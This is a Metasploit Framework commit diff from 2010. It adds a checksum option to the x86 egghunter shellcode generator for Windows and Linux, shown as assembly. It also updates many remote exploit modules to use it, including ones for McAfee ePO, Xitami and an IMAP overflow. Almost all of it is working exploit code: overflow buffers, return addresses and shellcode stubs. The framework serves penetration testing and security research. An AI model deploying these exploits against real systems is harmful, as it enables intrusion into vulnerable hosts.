see #684, adds checksum support, updates modules to use it, fixes some wfs_delay/WfsDelay issues

git-svn-id: file:///home/svn/framework3/trunk@10150 4d416f70-5f16-0410-b530-b9f4589650da
unstable
Joshua Drake 2010-08-25 20:55:37 +00:00
parent c473d20927
commit 330281eadd
20 changed files with 303 additions and 109 deletions

View File

@ -1,3 +1,5 @@
# $Id$
require 'rex/exploitation/egghunter'
module Msf
@ -7,6 +9,10 @@ module Msf
# This mixin provides an interface to generating egghunters for various
# platforms using the Rex::Exploitation::Egghunter class.
#
# Originally written by skape
# BadChar support added by David Rude
# Updated to take the payload and options by Joshua J. Drake
#
###
module Exploit::Egghunter
@ -22,7 +28,7 @@ module Exploit::Egghunter
# Generates an egghunter stub based on the current target's architecture
# and operating system.
#
def generate_egghunter(marker = nil)
def generate_egghunter(payload, badchars = nil, opts = {})
# Prefer the target's platform/architecture information, but use
# the module's if no target specific information exists
los = target_platform
@ -38,8 +44,10 @@ module Exploit::Egghunter
raise RuntimeError, "No platform restrictions were specified -- cannot select egghunter"
end
badchars ||= payload_badchars
egg = Rex::Exploitation::Egghunter.new(los, larch)
bunny = egg.generate(payload_badchars, marker)
bunny = egg.generate(payload, payload_badchars, opts)
if (bunny.nil?)
print_error("The egghunter could not be generated")
@ -49,6 +57,13 @@ module Exploit::Egghunter
return bunny
end
#
# Set the wfs_delay setting for all exploits using the Egghunter
#
def wfs_delay
30
end
end
end

View File

@ -12,6 +12,13 @@ module Exploitation
# overflow occurs, but it's possible to stick a larger payload somewhere else
# in memory that may not be directly predictable.
#
# Original implementation by skape
# (See http://www.hick.org/code/skape/papers/egghunt-shellcode.pdf)
#
# Checksum checking implemented by dijital1/corelanc0d3r
# Checksum code merged to Egghunter by jduck
# Conversion to use Metasm by jduck
#
###
class Egghunter
@ -29,16 +36,46 @@ class Egghunter
#
# The egg hunter stub for win/x86.
#
def hunter_stub
{
'Stub' =>
"\x66\x81\xca\xff\x0f\x42\x52\x6a\x02" +
"\x58\xcd\x2e\x3c\x05\x5a\x74\xef\xb8" +
"\x41\x41\x41\x41" +
"\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7",
'EggSize' => 4,
'EggOffset' => 0x12
}
def hunter_stub(payload, badchars = '', opts = {})
raise RuntimeError, "Invalid egg string! Need #{esize} bytes." if opts[:eggtag].length != 4
marker = "0x%x" % opts[:eggtag].unpack('V').first
checksum = checksum_stub(payload, badchars, opts)
assembly = <<EOS
check_readable:
or dx,0xfff
next_addr:
inc edx
push edx
push 0x02 ; use NtAccessCheckAndAuditAlarm syscall
pop eax
int 0x2e
cmp al,5
pop edx
je check_readable
check_for_tag:
; check that the tag matches once
mov eax,#{marker}
mov edi,edx
scasd
jne next_addr
; it must match a second time too
scasd
jne next_addr
; check the checksum if the feature is enabled
#{checksum}
; jump to the payload
jmp edi
EOS
assembled_code = Metasm::Shellcode.assemble(Metasm::Ia32.new, assembly).encode_string
# return the stub
assembled_code
end
end
@ -58,16 +95,46 @@ class Egghunter
#
# The egg hunter stub for linux/x86.
#
def hunter_stub
{
'Stub' =>
"\xfc\x66\x81\xc9\xff\x0f\x41\x6a\x43\x58\xcd\x80" +
"\x3c\xf2\x74\xf1\xb8" +
"\x41\x41\x41\x41" +
"\x89\xcf\xaf\x75\xec\xaf\x75\xe9\xff\xe7",
'EggSize' => 4,
'EggOffset' => 0x11
}
def hunter_stub(payload, badchars = '', opts = {})
raise RuntimeError, "Invalid egg string! Need #{esize} bytes." if opts[:eggtag].length != 4
marker = "0x%x" % opts[:eggtag].unpack('V').first
checksum = checksum_stub(payload, badchars, opts)
assembly = <<EOS
cld
check_readable:
or cx,0xfff
next_addr:
inc ecx
push 0x43 ; use 'sigaction' syscall
pop eax
int 0x80
cmp al,0xf2
je check_readable
check_for_tag:
; check that the tag matches once
mov eax,#{marker}
mov edi,ecx
scasd
jne next_addr
; it must match a second time too
scasd
jne next_addr
; check the checksum if the feature is enabled
#{checksum}
; jump to the payload
jmp edi
EOS
assembled_code = Metasm::Shellcode.assemble(Metasm::Ia32.new, assembly).encode_string
# return the stub
assembled_code
end
end
@ -115,21 +182,29 @@ class Egghunter
#
# This method generates an egghunter using the derived hunter stub.
#
def generate(badchars = '', marker = nil)
return nil if ((opts = hunter_stub) == nil)
def generate(payload, badchars = '', opts = {})
# set defaults if options are missing
stub = opts['Stub'].dup
esize = opts['EggSize']
eoff = opts['EggOffset']
# NOTE: there is no guarantee this won't exist in memory, even when doubled.
# To address this, use the checksum feature :)
opts[:eggtag] ||= Rex::Text.rand_text(4, badchars)
egg = marker
# NOTE: there is no guarentee this wont exist in memory, even when doubled
egg ||= Rex::Text.rand_text(esize, badchars)
raise RuntimeError, "Invalid egg string! Need #{esize} bytes." if egg.length != esize
# Generate the hunter_stub portion
return nil if ((hunter = hunter_stub(payload, badchars, opts)) == nil)
stub[eoff, esize] = egg
# Generate the marker bits to be prefixed to the real payload
egg = ''
egg << opts[:eggtag] * 2
egg << payload
if opts[:checksum]
cksum = 0
payload.each_byte { |b|
cksum += b
}
egg << [cksum & 0xff].pack('C')
end
return [ stub, egg ]
return [ hunter, egg ]
end
protected
@ -138,7 +213,35 @@ protected
# Stub method that is meant to be overridden. It returns the raw stub that
# should be used as the egghunter.
#
def hunter_stub
def hunter_stub(payload, badchars = '', opts = {})
end
def checksum_stub(payload, badchars = '', opts = {})
return '' if not opts[:checksum]
if payload.length < 0x100
cmp_reg = "cl"
elsif payload.length < 0x10000
cmp_reg = "cx"
else
raise RuntimeError, "Payload too big!"
end
egg_size = "0x%x" % payload.length
checksum = <<EOS
push ecx
xor ecx,ecx
xor eax,eax
calc_chksum_loop:
add al,byte [edi+ecx]
inc ecx
cmp #{cmp_reg},#{egg_size}
jnz calc_chksum_loop
test_chksum:
cmp al,byte [edi+ecx]
pop ecx
jnz next_addr
EOS
end
end

View File

@ -66,7 +66,7 @@ class Metasploit3 < Msf::Exploit::Remote
def exploit
hunter = generate_egghunter
hunter = generate_egghunter(payload.encoded, payload_badchars, { :checksum => true })
egg = hunter[1]
connect_udp
@ -85,7 +85,7 @@ class Metasploit3 < Msf::Exploit::Remote
select(nil,nil,nil,0.5)
print_status("Sending payload")
udp_sock.put(pkt1 + egg + egg + payload.encoded)
udp_sock.put(pkt1 + egg)
select(nil,nil,nil,0.5)
print_status("Calling overflow trigger")

View File

@ -0,0 +1,97 @@
##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
include Msf::Exploit::Remote::Tcp
include Msf::Exploit::Egghunter
def initialize(info = {})
super(update_info(info,
'Name' => 'Internal Egghunter Test Exploit',
'Description' =>
"This module tests the exploitation of a test service using the Egghunter.",
'Author' => 'jduck',
'License' => MSF_LICENSE,
'Version' => '$Revision$',
'Arch' => ARCH_X86,
'Payload' =>
{
'Space' => 1000,
'MaxNops' => 0,
'BadChars' => "\x00",
'StackAdjustment' => -3500,
},
'Targets' =>
[
[ 'Windows',
{
'Platform' => 'win'
}
],
[ 'Linux',
{
'Platform' => 'linux'
}
]
],
'DefaultTarget' => 0))
register_options(
[
OptBool.new('WaitForInput', [ false, "Wait for user input before returning from exploit", false ])
])
end
def autofilter
false
end
def check
return Exploit::CheckCode::Vulnerable
end
def exploit
connect
print_status("Sending #{payload.encoded.length} byte payload...")
eh_stub, eh_egg = generate_egghunter(payload.encoded, payload_badchars, {
:checksum => true
})
print_status("Egghunter: hunter stub #{eh_stub.length} bytes, egg #{eh_egg.length} bytes")
sploit = ''
# break before?
#sploit << "\xcc"
sploit << eh_stub
# just return otherwise
sploit << "\xc3"
# hopefully we find this!
sploit << eh_egg
sock.put(sploit)
if (datastore['WaitForInput'])
puts "Type something..."
gets
end
handler
end
end

View File

@ -45,7 +45,7 @@ class Metasploit3 < Msf::Exploit::Remote
},
'DefaultOptions' =>
{
'WfsDelay' => 30,
'WfsDelay' => 30
},
'Platform' => 'php',
'Arch' => ARCH_PHP,

View File

@ -96,12 +96,12 @@ class Metasploit3 < Msf::Exploit::Remote
# Pack the values
ret = [ ret ].pack('V')
clean = [ clean ].pack('V')
hunter = generate_egghunter()
hunter = generate_egghunter(p.encoded, payload_badchars, { :checksum => true })
egg = hunter[1]
# Now, build out the HTTP response payload
content =
"<html>" + egg + egg + p.encoded + "\n" +
"<html>" + egg + "\n" +
"<object type=\"////////////////////////////////////////////////////////////////" +
rand_text_alphanumeric(8) + ret + clean +
make_nops(8) + hunter[0] + "\">" +

View File

@ -64,7 +64,7 @@ class Metasploit3 < Msf::Exploit::Remote
def exploit
# use the egghunter!
eh_stub, eh_egg = generate_egghunter
eh_stub, eh_egg = generate_egghunter(payload.encoded, payload_badchars, { :checksum => true })
off = target['Offset']
idxf = ""
@ -79,8 +79,7 @@ class Metasploit3 < Msf::Exploit::Remote
sploit << "\r\n"
sploit << "[FILES]\r\n"
sploit << "\r\n"
sploit << eh_egg * 2
sploit << payload.encoded
sploit << eh_egg
hhp = sploit

View File

@ -63,7 +63,7 @@ class Metasploit3 < Msf::Exploit::Remote
def exploit
# use the egghunter!
eh_stub, eh_egg = generate_egghunter
eh_stub, eh_egg = generate_egghunter(payload.encoded, payload_badchars, { :checksum => true })
off = target['Offset']
idxf = ""
@ -78,8 +78,7 @@ class Metasploit3 < Msf::Exploit::Remote
sploit << "\r\n"
sploit << "[FILES]\r\n"
sploit << "\r\n"
sploit << eh_egg * 2
sploit << payload.encoded
sploit << eh_egg
hhp = sploit

View File

@ -15,7 +15,6 @@ class Metasploit3 < Msf::Exploit::Remote
Rank = GoodRanking
include Msf::Exploit::FILEFORMAT
include Msf::Exploit::Egghunter
def initialize(info = {})
super(update_info(info,
@ -64,7 +63,7 @@ class Metasploit3 < Msf::Exploit::Remote
def exploit
# use the egghunter!
eh_stub, eh_egg = generate_egghunter
eh_stub, eh_egg = generate_egghunter(payload.encoded, payload_badchars, { :checksum => true })
off = target['Offset']
idxf = ""
@ -79,8 +78,7 @@ class Metasploit3 < Msf::Exploit::Remote
sploit << "\r\n"
sploit << "[FILES]\r\n"
sploit << "\r\n"
sploit << eh_egg * 2
sploit << payload.encoded
sploit << eh_egg
hhp = sploit

View File

@ -186,7 +186,7 @@ For now, that will have to be done manually.
# use the egghunter!
eh_stub, eh_egg = generate_egghunter
eh_stub, eh_egg = generate_egghunter(payload.encoded, payload_badchars, { :checksum => true })
# write shellcode to 'writable' (all at once)
fmtbuf = generate_fmtstr_from_buf(num_start, mytarget['Writable'], eh_stub, mytarget)
@ -201,8 +201,7 @@ For now, that will have to be done manually.
fmtbuf = generate_fmt_two_shorts(num_start, mytarget['FlowHook'], mytarget['Writable'], mytarget)
# add payload to the end
fmtbuf << eh_egg * 2
fmtbuf << payload.encoded
fmtbuf << eh_egg
print_status(" hijacker format string buffer is #{fmtbuf.length} bytes")
if (res = send_cmd(['PWD', fmtbuf ], true))
print_status(res.strip)

View File

@ -15,7 +15,6 @@ class Metasploit3 < Msf::Exploit::Remote
Rank = GoodRanking
include Msf::Exploit::Remote::Ftp
include Msf::Exploit::Remote::Egghunter
def initialize(info = {})
super(update_info(info,
@ -136,7 +135,6 @@ class Metasploit3 < Msf::Exploit::Remote
def exploit
# generate_egghunter
connect_login
print_status("Trying target #{target.name}...")

View File

@ -194,7 +194,7 @@ For now, that will have to be done manually.
num_start = ip_length + 2 + 29 + 3 + 3 + 2
# use the egghunter!
eh_stub, eh_egg = generate_egghunter
eh_stub, eh_egg = generate_egghunter(payload.encoded, payload_badchars, { :checksum => true })
# write shellcode to 'writable' (all at once)
fmtbuf = generate_fmtstr_from_buf(num_start, mytarget['Writable'], eh_stub, mytarget)
@ -207,8 +207,7 @@ For now, that will have to be done manually.
# NOTE: the resulting two writes must be done at the same time
fmtbuf = generate_fmt_two_shorts(num_start, mytarget['FlowHook'], mytarget['Writable'], mytarget)
# add payload to the end
fmtbuf << eh_egg * 2
fmtbuf << payload.encoded
fmtbuf << eh_egg
fmtbuf = '/' + fmtbuf.gsub(/%/, '%25').gsub(/ /, '%20')
print_status(" hijacker format string buffer is #{fmtbuf.length} bytes")

View File

@ -25,8 +25,7 @@ class Metasploit3 < Msf::Exploit::Remote
McAfee ePolicy Orchestrator 2.5.1 <= 3.5.0 and ProtectionPilot 1.1.0 are
known to be vulnerable. By sending a large 'Source' header, the stack can
be overwritten. This module is based on the exploit by xbxice and muts.
Due to size constraints, this module uses the Egghunter technique. You may
wish to adjust WfsDelay appropriately.
Due to size constraints, this module uses the Egghunter technique.
},
'Author' =>
[
@ -88,7 +87,7 @@ class Metasploit3 < Msf::Exploit::Remote
def exploit
connect
hunter = generate_egghunter
hunter = generate_egghunter(payload.encoded, payload_badchars, { :checksum => true })
egg = hunter[1]
sploit = Rex::Text::rand_text_alphanumeric(92)
@ -97,7 +96,7 @@ class Metasploit3 < Msf::Exploit::Remote
sploit << [target['Ret']].pack('V')
sploit << hunter[0]
content = egg + egg + payload.encoded
content = egg
request = "GET /spipe/pkg HTTP/1.0\r\n"
request << "User-Agent: Mozilla/4.0 (compatible; SPIPE/1.0\r\n"
@ -113,8 +112,5 @@ class Metasploit3 < Msf::Exploit::Remote
handler
end
def wfs_delay
25
end
end

View File

@ -26,7 +26,7 @@ class Metasploit3 < Msf::Exploit::Remote
Xitami Web Server. If a malicious user sends an If-Modified-Since
header containing an overly long string, it may be possible to
execute a payload remotely. Due to size constraints, this module uses
the Egghunter technique. You may wish to adjust WfsDelay appropriately.
the Egghunter technique.
},
'Author' => 'patrick',
'License' => MSF_LICENSE,
@ -80,11 +80,11 @@ class Metasploit3 < Msf::Exploit::Remote
def exploit
connect
hunter = generate_egghunter
hunter = generate_egghunter(payload.encoded, payload_badchars, { :checksum => true })
egg = hunter[1]
sploit = "GET / HTTP/1.1\r\n"
sploit << "Host: " + egg + egg + payload.encoded + "\r\n"
sploit << "Host: " + egg + "\r\n"
sploit << "If-Modified-Since: " + Rex::Arch::X86.jmp_short(3) + ", "
sploit << hunter[0] + rand_text_alphanumeric(target['Offset']) + target['Ret']

View File

@ -62,10 +62,10 @@ class Metasploit3 < Msf::Exploit::Remote
connect
sock.get_once
hunter = generate_egghunter()
hunter = generate_egghunter(payload.encoded, payload_badchars, { :checksum => true })
egg = hunter[1]
sploit = "A001 LOGIN " + egg + egg + payload.encoded + hunter[0]
sploit = "A001 LOGIN " + egg + hunter[0]
sploit << [target.ret].pack('V') + [0xe9, -175].pack('CV')
print_status("Trying target #{target.name}...")

View File

@ -13,7 +13,6 @@ class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::TcpServer
include Msf::Exploit::Egghunter
def initialize(info = {})
super(update_info(info,

View File

@ -72,7 +72,7 @@ class Metasploit3 < Msf::Exploit::Remote
magic_packet << "\x02\x01\x00\x01\x04\x00\x74\x65\x73\x74\x03\x01\x00\x11\x3c\x00"
# Unleash the Egghunter!
eh_stub, eh_egg = generate_egghunter
eh_stub, eh_egg = generate_egghunter(payload.encoded, payload_badchars, { :checksum => true })
sploit = magic_packet
sploit << rand_text_alpha_upper(119)
@ -80,8 +80,7 @@ class Metasploit3 < Msf::Exploit::Remote
sploit << make_nops(10)
sploit << eh_stub
sploit << make_nops(50)
sploit << eh_egg * 2
sploit << payload.encoded
sploit << eh_egg
print_status("Trying target #{target.name}...")
sock.put(sploit)
@ -90,7 +89,4 @@ class Metasploit3 < Msf::Exploit::Remote
disconnect
end
def wfs_delay
25
end
end

View File

@ -80,7 +80,7 @@ class Metasploit3 < Msf::Exploit::Remote
print_status("Trying target #{target.name}...")
# Generate the egghunter payload
hunter = generate_egghunter()
hunter = generate_egghunter(payload.encoded, payload_badchars, { :checksum => true })
egg = hunter[1]
# Pick a "filler" character that we know doesn't get mangled
@ -98,8 +98,6 @@ class Metasploit3 < Msf::Exploit::Remote
eggdata =
fil * 1024 +
egg +
egg +
payload.encoded +
fil * 1024
# Place the egghunter where ESI happens to point

View File

@ -78,7 +78,7 @@ class Metasploit3 < Msf::Exploit::Remote
# [out] handle
# Generate the egghunter payload
hunter = generate_egghunter()
hunter = generate_egghunter(payload.encoded, payload_badchars, { :checksum => true })
egg = hunter[1]
#print_status("Today, we'll be hunting for 0x#{egg.unpack("V")[0]}")
@ -86,8 +86,6 @@ class Metasploit3 < Msf::Exploit::Remote
eggdata =
rand_text(1024) +
egg +
egg +
payload.encoded +
rand_text(1024)
buflen = 295

View File

@ -55,6 +55,7 @@ class Metasploit3 < Msf::Exploit::Remote
'Privileged' => true,
'DefaultOptions' =>
{
'WfsDelay' => 10,
'EXITFUNC' => 'process'
},
'References' =>
@ -67,7 +68,6 @@ class Metasploit3 < Msf::Exploit::Remote
{
'Space' => 2048,
'DisableNops' => true,
'WfsDelay' => 10,
'StackAdjustment' => -3500
},
'Platform' => 'win',